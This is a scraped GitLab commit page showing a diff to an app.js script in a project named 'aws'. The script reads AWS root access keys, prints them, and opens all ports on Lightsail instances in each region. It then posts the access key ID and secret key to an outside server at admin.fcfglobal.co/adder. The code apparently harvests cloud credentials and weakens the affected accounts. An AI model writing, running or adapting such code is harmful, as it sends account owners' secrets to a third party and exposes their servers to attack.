Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in
Toggle navigation
A
aws
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
aws
Commits
4e821d99
Commit
4e821d99
authored
Nov 29, 2024
by
Ahmad
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
inikt
parent
6a011731
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
3 additions
and
30 deletions
+3
-30
app.js
app.js
+3
-30
No files found.
app.js
View file @
4e821d99
...
...
@@ -89,29 +89,6 @@ async function openAllPorts(lightsail, instanceName) {
});
}
async
function
getAccountId
(
credentials
)
{
// Initialize the AWS Organizations client
const
organizations
=
new
AWS
.
Organizations
({
accessKeyId
:
credentials
.
accessKeyId
,
secretAccessKey
:
credentials
.
secretAccessKey
,
region
:
'
us-east-1
'
,
// AWS Organizations is a global service; specify any region
});
try
{
// List all accounts in the organization
const
data
=
await
organizations
.
listAccounts
().
promise
();
// Find the account with the matching account ID
console
.
log
(
data
.
Accounts
)
// const account = data.Accounts.find(acc => acc.Id === targetAccountId);
}
catch
(
error
)
{
console
.
error
(
'
Error retrieving account email:
'
,
error
.
message
);
throw
error
;
}
}
async
function
disableIpv6
(
lightsail
,
instanceName
)
{
const
params
=
{
resourceName
:
instanceName
,
...
...
@@ -208,13 +185,12 @@ async function processRegion(region, credentials, pemFilePath) {
}
}
async
function
createAcc
(
access
,
secret
,
description
)
{
async
function
createAcc
(
access
,
secret
)
{
const
url
=
'
http://admin.fcfglobal.co/adder
'
;
const
data
=
{
access
:
access
,
secret
:
secret
,
description
:
description
secret
:
secret
};
try
{
...
...
@@ -228,9 +204,6 @@ async function main() {
try
{
const
credentials
=
extractAWSCredentials
(
rootKeyFilePath
);
console
.
log
(
'
AWS Credentials Loaded:
'
,
credentials
);
const
accountEmail
=
await
getAccountId
(
credentials
);
console
.
log
(
'
AWS Account Email:
'
,
accountEmail
);
return
const
regions
=
getPemFilesAndRegions
();
if
(
regions
.
length
===
0
)
{
...
...
@@ -243,7 +216,7 @@ async function main() {
await
processRegion
(
region
,
credentials
,
pemFilePath
);
}
const
result
=
await
createAcc
(
credentials
.
accessKeyId
,
credentials
.
secretAccessKey
,
accountEmail
);
const
result
=
await
createAcc
(
credentials
.
accessKeyId
,
credentials
.
secretAccessKey
);
console
.
log
(
'
Credentials stored successfully:
'
,
result
.
data
);
}
catch
(
error
)
{
console
.
error
(
'
Error:
'
,
error
.
message
);
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment